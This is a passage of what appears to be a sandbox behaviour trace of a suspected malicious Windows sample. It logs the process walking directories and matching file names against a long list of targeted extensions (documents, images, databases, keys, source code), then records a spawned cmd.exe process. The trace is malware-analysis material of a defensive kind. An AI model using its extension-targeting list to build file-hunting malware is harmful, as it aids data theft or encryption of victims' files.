lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0193.738] lstrlenW (lpString=".dx") returned 3 [0193.738] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0193.738] lstrlenW (lpString=".dxf") returned 4 [0193.738] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0193.738] lstrlenW (lpString=".edml") returned 5 [0193.738] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0193.738] lstrlenW (lpString=".efd") returned 4 [0193.738] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0193.739] lstrlenW (lpString=".elf") returned 4 [0193.739] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0193.739] lstrlenW (lpString=".emf") returned 4 [0193.739] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0193.739] lstrlenW (lpString=".emz") returned 4 [0193.840] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0193.840] lstrlenW (lpString=".epf") returned 4 [0193.840] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0193.840] lstrlenW (lpString=".eps") returned 4 [0193.840] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0193.840] lstrlenW (lpString=".epsf") returned 5 [0193.841] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0193.841] lstrlenW (lpString=".epsp") returned 5 [0193.841] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0193.841] lstrlenW (lpString=".erf") returned 4 [0193.841] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0193.841] lstrlenW (lpString=".exr") returned 4 [0193.841] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0193.841] lstrlenW (lpString=".f4v") returned 4 [0193.841] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0193.841] lstrlenW (lpString=".fido") returned 5 [0193.842] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0193.842] lstrlenW (lpString=".flm") returned 4 [0193.842] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0193.842] lstrlenW (lpString=".flv") returned 4 [0193.842] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0193.842] lstrlenW (lpString=".frm") returned 4 [0193.842] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0193.842] lstrlenW (lpString=".fxg") returned 4 [0193.842] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0193.842] lstrlenW (lpString=".geo") returned 4 [0193.842] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0193.842] lstrlenW (lpString=".gif") returned 4 [0193.842] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0193.842] lstrlenW (lpString=".grs") returned 4 [0193.843] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0195.387] FindNextFileW (in: hFindFile=0x4192598, lpFindFileData=0x37ef310 | out: lpFindFileData=0x37ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcae65500, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xcae65500, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.388] FindNextFileW (in: hFindFile=0x4192598, lpFindFileData=0x37ef310 | out: lpFindFileData=0x37ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0195.388] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0195.388] lstrcmpiW (lpString1=".3ds", lpString2=".CFG") returned -1 [0195.388] lstrcmpiW (lpString1=".3fr", lpString2=".CFG") returned -1 [0195.388] lstrcmpiW (lpString1=".3g2", lpString2=".CFG") returned -1 [0195.388] lstrcmpiW (lpString1=".3gp", lpString2=".CFG") returned -1 [0195.388] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0195.388] lstrcmpiW (lpString1=".accda", lpString2="32.CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".accdb", lpString2="32.CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".accdc", lpString2="32.CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".accde", lpString2="32.CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".accdt", lpString2="32.CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".accdw", lpString2="32.CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".adb", lpString2=".CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".adp", lpString2=".CFG") returned -1 [0195.389] lstrcmpiW (lpString1=".ai", lpString2="CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".ai3", lpString2=".CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".ai4", lpString2=".CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".ai5", lpString2=".CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".ai6", lpString2=".CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".ai7", lpString2=".CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".ai8", lpString2=".CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".anim", lpString2="2.CFG") returned -1 [0195.390] lstrcmpiW (lpString1=".arw", lpString2=".CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".as", lpString2="CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".asa", lpString2=".CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".asc", lpString2=".CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".ascx", lpString2="2.CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".asm", lpString2=".CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".asmx", lpString2="2.CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".asp", lpString2=".CFG") returned -1 [0195.391] lstrcmpiW (lpString1=".aspx", lpString2="2.CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".asr", lpString2=".CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".asx", lpString2=".CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".avi", lpString2=".CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".avs", lpString2=".CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".backup", lpString2="P32.CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".bak", lpString2=".CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".bay", lpString2=".CFG") returned -1 [0195.392] lstrcmpiW (lpString1=".bd", lpString2="CFG") returned -1 [0195.393] lstrcmpiW (lpString1=".bin", lpString2=".CFG") returned -1 [0195.393] lstrcmpiW (lpString1=".bmp", lpString2=".CFG") returned -1 [0195.393] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0195.394] lstrcmpiW (lpString1=".c", lpString2="FG") returned -1 [0195.394] lstrcmpiW (lpString1=".cdr", lpString2=".CFG") returned -1 [0195.394] lstrcmpiW (lpString1=".cer", lpString2=".CFG") returned -1 [0195.394] lstrcmpiW (lpString1=".cf", lpString2="CFG") returned -1 [0195.394] lstrcmpiW (lpString1=".cfc", lpString2=".CFG") returned -1 [0195.394] lstrcmpiW (lpString1=".cfm", lpString2=".CFG") returned 1 [0195.394] lstrcmpiW (lpString1=".cfml", lpString2="2.CFG") returned -1 [0195.394] lstrcmpiW (lpString1=".cfu", lpString2=".CFG") returned 1 [0195.394] lstrcmpiW (lpString1=".chm", lpString2=".CFG") returned 1 [0195.395] lstrcmpiW (lpString1=".cin", lpString2=".CFG") returned 1 [0195.396] lstrcmpiW (lpString1=".class", lpString2="32.CFG") returned -1 [0195.396] lstrcmpiW (lpString1=".clx", lpString2=".CFG") returned 1 [0195.396] lstrcmpiW (lpString1=".config", lpString2="P32.CFG") returned -1 [0195.396] lstrcmpiW (lpString1=".cpp", lpString2=".CFG") returned 1 [0195.396] lstrcmpiW (lpString1=".cr2", lpString2=".CFG") returned 1 [0195.396] lstrcmpiW (lpString1=".crt", lpString2=".CFG") returned 1 [0195.397] lstrcmpiW (lpString1=".crw", lpString2=".CFG") returned 1 [0195.397] lstrcmpiW (lpString1=".cs", lpString2="CFG") returned -1 [0195.397] lstrcmpiW (lpString1=".css", lpString2=".CFG") returned 1 [0195.397] lstrcmpiW (lpString1=".csv", lpString2=".CFG") returned 1 [0195.397] lstrcmpiW (lpString1=".cub", lpString2=".CFG") returned 1 [0195.397] lstrcmpiW (lpString1=".dae", lpString2=".CFG") returned 1 [0195.398] lstrcmpiW (lpString1=".dat", lpString2=".CFG") returned 1 [0195.398] lstrcmpiW (lpString1=".db", lpString2="CFG") returned -1 [0195.398] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0195.398] lstrcmpiW (lpString1=".dbx", lpString2=".CFG") returned 1 [0195.398] lstrcmpiW (lpString1=".dc3", lpString2=".CFG") returned 1 [0195.398] lstrcmpiW (lpString1=".dcm", lpString2=".CFG") returned 1 [0195.399] lstrcmpiW (lpString1=".dcr", lpString2=".CFG") returned 1 [0195.399] lstrcmpiW (lpString1=".der", lpString2=".CFG") returned 1 [0195.399] lstrcmpiW (lpString1=".dib", lpString2=".CFG") returned 1 [0195.399] lstrcmpiW (lpString1=".dic", lpString2=".CFG") returned 1 [0195.399] lstrcmpiW (lpString1=".dif", lpString2=".CFG") returned 1 [0195.399] lstrcmpiW (lpString1=".divx", lpString2="2.CFG") returned -1 [0195.400] lstrcmpiW (lpString1=".djvu", lpString2="2.CFG") returned -1 [0195.400] lstrcmpiW (lpString1=".dng", lpString2=".CFG") returned 1 [0195.400] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0195.400] lstrcmpiW (lpString1=".docm", lpString2="2.CFG") returned -1 [0195.400] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0195.401] lstrcmpiW (lpString1=".dot", lpString2=".CFG") returned 1 [0195.401] lstrcmpiW (lpString1=".dotm", lpString2="2.CFG") returned -1 [0195.401] lstrcmpiW (lpString1=".dotx", lpString2="2.CFG") returned -1 [0195.401] lstrcmpiW (lpString1=".dpx", lpString2=".CFG") returned 1 [0195.401] lstrcmpiW (lpString1=".dqy", lpString2=".CFG") returned 1 [0195.401] lstrcmpiW (lpString1=".dsn", lpString2=".CFG") returned 1 [0195.402] lstrcmpiW (lpString1=".dt", lpString2="CFG") returned -1 [0195.402] lstrcmpiW (lpString1=".dtd", lpString2=".CFG") returned 1 [0195.402] lstrcmpiW (lpString1=".dwg", lpString2=".CFG") returned 1 [0195.402] lstrcmpiW (lpString1=".dwt", lpString2=".CFG") returned 1 [0195.402] lstrcmpiW (lpString1=".dx", lpString2="CFG") returned -1 [0195.403] lstrcmpiW (lpString1=".dxf", lpString2=".CFG") returned 1 [0195.403] lstrcmpiW (lpString1=".edml", lpString2="2.CFG") returned -1 [0195.403] lstrcmpiW (lpString1=".efd", lpString2=".CFG") returned 1 [0195.403] lstrcmpiW (lpString1=".elf", lpString2=".CFG") returned 1 [0195.403] lstrcmpiW (lpString1=".emf", lpString2=".CFG") returned 1 [0195.403] lstrcmpiW (lpString1=".emz", lpString2=".CFG") returned 1 [0195.404] lstrcmpiW (lpString1=".epf", lpString2=".CFG") returned 1 [0195.404] lstrcmpiW (lpString1=".eps", lpString2=".CFG") returned 1 [0195.404] lstrcmpiW (lpString1=".epsf", lpString2="2.CFG") returned -1 [0195.404] lstrcmpiW (lpString1=".epsp", lpString2="2.CFG") returned -1 [0195.404] lstrcmpiW (lpString1=".erf", lpString2=".CFG") returned 1 [0195.405] lstrcmpiW (lpString1=".exr", lpString2=".CFG") returned 1 [0195.405] lstrcmpiW (lpString1=".f4v", lpString2=".CFG") returned 1 [0195.405] lstrcmpiW (lpString1=".fido", lpString2="2.CFG") returned -1 [0195.405] lstrcmpiW (lpString1=".flm", lpString2=".CFG") returned 1 [0195.405] lstrcmpiW (lpString1=".flv", lpString2=".CFG") returned 1 [0195.405] lstrcmpiW (lpString1=".frm", lpString2=".CFG") returned 1 [0195.406] lstrcmpiW (lpString1=".fxg", lpString2=".CFG") returned 1 [0195.406] lstrcmpiW (lpString1=".geo", lpString2=".CFG") returned 1 [0195.406] lstrcmpiW (lpString1=".gif", lpString2=".CFG") returned 1 [0195.406] lstrcmpiW (lpString1=".grs", lpString2=".CFG") returned 1 [0195.406] lstrcmpiW (lpString1=".gz", lpString2="CFG") returned -1 [0195.406] lstrcmpiW (lpString1=".h", lpString2="FG") returned -1 [0195.407] lstrcmpiW (lpString1=".hdr", lpString2=".CFG") returned 1 [0195.407] lstrcmpiW (lpString1=".hpp", lpString2=".CFG") returned 1 [0195.407] lstrcmpiW (lpString1=".hta", lpString2=".CFG") returned 1 [0195.407] lstrcmpiW (lpString1=".htc", lpString2=".CFG") returned 1 [0195.407] lstrcmpiW (lpString1=".htm", lpString2=".CFG") returned 1 [0195.408] lstrcmpiW (lpString1=".html", lpString2="2.CFG") returned -1 [0195.408] lstrcmpiW (lpString1=".icb", lpString2=".CFG") returned 1 [0195.408] lstrcmpiW (lpString1=".ics", lpString2=".CFG") returned 1 [0195.410] lstrcmpiW (lpString1=".iff", lpString2=".CFG") returned 1 [0195.410] lstrcmpiW (lpString1=".inc", lpString2=".CFG") returned 1 [0195.410] lstrcmpiW (lpString1=".indd", lpString2="2.CFG") returned -1 [0195.410] lstrcmpiW (lpString1=".ini", lpString2=".CFG") returned 1 [0195.411] lstrcmpiW (lpString1=".iqy", lpString2=".CFG") returned 1 [0195.411] lstrcmpiW (lpString1=".j2c", lpString2=".CFG") returned 1 [0195.411] lstrcmpiW (lpString1=".j2k", lpString2=".CFG") returned 1 [0195.411] lstrcmpiW (lpString1=".java", lpString2="2.CFG") returned -1 [0195.411] lstrcmpiW (lpString1=".jp2", lpString2=".CFG") returned 1 [0195.412] lstrcmpiW (lpString1=".jpc", lpString2=".CFG") returned 1 [0195.412] lstrcmpiW (lpString1=".jpe", lpString2=".CFG") returned 1 [0195.412] lstrcmpiW (lpString1=".jpeg", lpString2="2.CFG") returned -1 [0195.412] lstrcmpiW (lpString1=".jpf", lpString2=".CFG") returned 1 [0195.412] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0195.413] lstrcmpiW (lpString1=".jpx", lpString2=".CFG") returned 1 [0195.413] lstrcmpiW (lpString1=".js", lpString2="CFG") returned -1 [0195.413] lstrcmpiW (lpString1=".jsf", lpString2=".CFG") returned 1 [0195.413] lstrcmpiW (lpString1=".json", lpString2="2.CFG") returned -1 [0195.413] lstrcmpiW (lpString1=".jsp", lpString2=".CFG") returned 1 [0195.414] lstrcmpiW (lpString1=".kdc", lpString2=".CFG") returned 1 [0195.414] lstrcmpiW (lpString1=".kmz", lpString2=".CFG") returned 1 [0195.414] lstrcmpiW (lpString1=".kwm", lpString2=".CFG") returned 1 [0195.414] lstrcmpiW (lpString1=".lasso", lpString2="32.CFG") returned -1 [0195.414] lstrcmpiW (lpString1=".lbi", lpString2=".CFG") returned 1 [0195.414] lstrcmpiW (lpString1=".lgf", lpString2=".CFG") returned 1 [0195.415] lstrcmpiW (lpString1=".lgp", lpString2=".CFG") returned 1 [0195.415] lstrcmpiW (lpString1=".log", lpString2=".CFG") returned 1 [0195.415] lstrcmpiW (lpString1=".m1v", lpString2=".CFG") returned 1 [0195.415] lstrcmpiW (lpString1=".m4a", lpString2=".CFG") returned 1 [0195.415] lstrcmpiW (lpString1=".m4v", lpString2=".CFG") returned 1 [0195.416] lstrcmpiW (lpString1=".max", lpString2=".CFG") returned 1 [0195.416] lstrcmpiW (lpString1=".md", lpString2="CFG") returned -1 [0195.416] lstrcmpiW (lpString1=".mda", lpString2=".CFG") returned 1 [0195.416] lstrcmpiW (lpString1=".mdb", lpString2=".CFG") returned 1 [0195.416] lstrcmpiW (lpString1=".mde", lpString2=".CFG") returned 1 [0195.416] lstrcmpiW (lpString1=".mdf", lpString2=".CFG") returned 1 [0195.417] lstrcmpiW (lpString1=".mdw", lpString2=".CFG") returned 1 [0195.417] lstrcmpiW (lpString1=".mef", lpString2=".CFG") returned 1 [0195.417] lstrcmpiW (lpString1=".mft", lpString2=".CFG") returned 1 [0195.417] lstrcmpiW (lpString1=".mfw", lpString2=".CFG") returned 1 [0195.417] lstrcmpiW (lpString1=".mht", lpString2=".CFG") returned 1 [0195.417] lstrcmpiW (lpString1=".mhtml", lpString2="32.CFG") returned -1 [0195.417] lstrcmpiW (lpString1=".mka", lpString2=".CFG") returned 1 [0195.417] lstrcmpiW (lpString1=".mkidx", lpString2="32.CFG") returned -1 [0195.418] lstrcmpiW (lpString1=".mkv", lpString2=".CFG") returned 1 [0195.418] lstrcmpiW (lpString1=".mos", lpString2=".CFG") returned 1 [0195.418] lstrcmpiW (lpString1=".mov", lpString2=".CFG") returned 1 [0195.418] lstrcmpiW (lpString1=".mp3", lpString2=".CFG") returned 1 [0195.418] lstrcmpiW (lpString1=".mp4", lpString2=".CFG") returned 1 [0195.418] lstrcmpiW (lpString1=".mpeg", lpString2="2.CFG") returned -1 [0195.418] lstrcmpiW (lpString1=".mpg", lpString2=".CFG") returned 1 [0195.418] lstrcmpiW (lpString1=".mpv", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".mrw", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".msg", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".mxl", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".myd", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".myi", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".nef", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".nrw", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".obj", lpString2=".CFG") returned 1 [0195.419] lstrcmpiW (lpString1=".odb", lpString2=".CFG") returned 1 [0195.420] lstrcmpiW (lpString1=".odc", lpString2=".CFG") returned 1 [0195.420] lstrcmpiW (lpString1=".odm", lpString2=".CFG") returned 1 [0195.420] lstrcmpiW (lpString1=".odp", lpString2=".CFG") returned 1 [0195.420] lstrcmpiW (lpString1=".ods", lpString2=".CFG") returned 1 [0195.420] lstrcmpiW (lpString1=".oft", lpString2=".CFG") returned 1 [0195.420] lstrcmpiW (lpString1=".one", lpString2=".CFG") returned 1 [0195.420] lstrcmpiW (lpString1=".onepkg", lpString2="P32.CFG") returned -1 [0195.420] lstrcmpiW (lpString1=".onetoc2", lpString2="MP32.CFG") returned -1 [0195.421] lstrcmpiW (lpString1=".opt", lpString2=".CFG") returned 1 [0195.421] lstrcmpiW (lpString1=".oqy", lpString2=".CFG") returned 1 [0195.421] lstrcmpiW (lpString1=".orf", lpString2=".CFG") returned 1 [0195.421] lstrcmpiW (lpString1=".p12", lpString2=".CFG") returned 1 [0195.421] lstrcmpiW (lpString1=".p7b", lpString2=".CFG") returned 1 [0195.421] lstrcmpiW (lpString1=".p7c", lpString2=".CFG") returned 1 [0195.421] lstrcmpiW (lpString1=".pam", lpString2=".CFG") returned 1 [0195.421] lstrcmpiW (lpString1=".pbm", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pct", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pcx", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pdd", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pdp", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pef", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pem", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pff", lpString2=".CFG") returned 1 [0195.422] lstrcmpiW (lpString1=".pfm", lpString2=".CFG") returned 1 [0195.423] lstrcmpiW (lpString1=".pfx", lpString2=".CFG") returned 1 [0195.423] lstrcmpiW (lpString1=".pgm", lpString2=".CFG") returned 1 [0195.423] lstrcmpiW (lpString1=".php", lpString2=".CFG") returned 1 [0195.423] lstrcmpiW (lpString1=".php3", lpString2="2.CFG") returned -1 [0195.423] lstrcmpiW (lpString1=".php4", lpString2="2.CFG") returned -1 [0195.423] lstrcmpiW (lpString1=".php5", lpString2="2.CFG") returned -1 [0195.423] lstrcmpiW (lpString1=".phtml", lpString2="32.CFG") returned -1 [0195.423] lstrcmpiW (lpString1=".pict", lpString2="2.CFG") returned -1 [0195.423] lstrcmpiW (lpString1=".pl", lpString2="CFG") returned -1 [0195.423] lstrcmpiW (lpString1=".pls", lpString2=".CFG") returned 1 [0195.424] lstrcmpiW (lpString1=".pm", lpString2="CFG") returned -1 [0195.424] lstrcmpiW (lpString1=".png", lpString2=".CFG") returned 1 [0196.376] lstrcmpiW (lpString1=".pnm", lpString2=".CFG") returned 1 [0196.376] lstrcmpiW (lpString1=".pot", lpString2=".CFG") returned 1 [0196.376] lstrcmpiW (lpString1=".potm", lpString2="2.CFG") returned -1 [0196.377] lstrcmpiW (lpString1=".potx", lpString2="2.CFG") returned -1 [0196.377] lstrcmpiW (lpString1=".ppa", lpString2=".CFG") returned 1 [0196.377] lstrcmpiW (lpString1=".ppam", lpString2="2.CFG") returned -1 [0196.377] lstrcmpiW (lpString1=".ppm", lpString2=".CFG") returned 1 [0196.377] lstrcmpiW (lpString1=".pps", lpString2=".CFG") returned 1 [0196.377] lstrcmpiW (lpString1=".ppsm", lpString2="2.CFG") returned -1 [0196.377] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0196.377] lstrcmpiW (lpString1=".pptm", lpString2="2.CFG") returned -1 [0196.378] lstrcmpiW (lpString1=".pptx", lpString2="2.CFG") returned -1 [0196.378] lstrcmpiW (lpString1=".prn", lpString2=".CFG") returned 1 [0196.378] lstrcmpiW (lpString1=".ps", lpString2="CFG") returned -1 [0196.378] lstrcmpiW (lpString1=".psb", lpString2=".CFG") returned 1 [0196.378] lstrcmpiW (lpString1=".psd", lpString2=".CFG") returned 1 [0196.378] lstrcmpiW (lpString1=".pst", lpString2=".CFG") returned 1 [0196.378] lstrcmpiW (lpString1=".ptx", lpString2=".CFG") returned 1 [0196.379] lstrcmpiW (lpString1=".pub", lpString2=".CFG") returned 1 [0196.379] lstrcmpiW (lpString1=".pwm", lpString2=".CFG") returned 1 [0196.379] lstrcmpiW (lpString1=".pxr", lpString2=".CFG") returned 1 [0196.379] lstrcmpiW (lpString1=".py", lpString2="CFG") returned -1 [0196.379] lstrcmpiW (lpString1=".qt", lpString2="CFG") returned -1 [0196.379] lstrcmpiW (lpString1=".r3d", lpString2=".CFG") returned 1 [0196.379] lstrcmpiW (lpString1=".raf", lpString2=".CFG") returned 1 [0196.379] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0196.380] lstrcmpiW (lpString1=".raw", lpString2=".CFG") returned 1 [0196.380] lstrcmpiW (lpString1=".rdf", lpString2=".CFG") returned 1 [0232.824] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x37ef310 | out: lpFindFileData=0x37ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.824] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x37ef310 | out: lpFindFileData=0x37ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0232.964] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x37ef310 | out: lpFindFileData=0x37ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.965] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x37ef310 | out: lpFindFileData=0x37ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 Thread: id = 76 os_tid = 0x6bc Thread: id = 77 os_tid = 0x6cc Process: id = "10" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x753c6000" os_pid = "0x5d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x4d8" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebe9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0x5d8 [0193.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cfdf0 | out: lpSystemTimeAsFileTime=0x2cfdf0*(dwLowDateTime=0x25ce1f20, dwHighDateTime=0x1d5d106)) [0193.433] GetCurrentProcessId () returned 0x5d4 [0193.433] GetCurrentThreadId () returned 0x5d8 [0193.433] GetTickCount () returned 0x113e7c0 [0193.433] QueryPerformanceCounter (in: lpPerformanceCount=0x2cfdf8 | out: lpPerformanceCount=0x2cfdf8*=12582370135) returned 1 [0193.435] GetModuleHandleW (lpModuleName=0x0) returned 0x4a1c0000 [0193.435] __set_app_type (_Type=0x1) [0193.562] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1e7810) returned 0x0 [0193.562] __getmainargs (in: _Argc=0x4a20a608, _Argv=0x4a20a618, _Env=0x4a20a610, _DoWildCard=0, _StartInfo=0x4a1ee0f4 | out: _Argc=0x4a20a608, _Argv=0x4a20a618, _Env=0x4a20a610) returned 0 [0193.740] GetCurrentThreadId () returned 0x5d8 [0193.740] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5d8) returned 0x3c [0193.740] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77290000 [0193.740] GetProcAddress (hModule=0x77290000, lpProcName="SetThreadUILanguage") returned 0x772a6d40 [0193.741] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0193.741] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0193.741] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cfd88 | out: phkResult=0x2cfd88*=0x0) returned 0x2 [0193.742] VirtualQuery (in: lpAddress=0x2cfd70, lpBuffer=0x2cfcf0, dwLength=0x30 | out: lpBuffer=0x2cfcf0*(BaseAddress=0x2cf000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0193.742] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x2cfcf0, dwLength=0x30 | out: lpBuffer=0x2cfcf0*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0193.742] VirtualQuery (in: 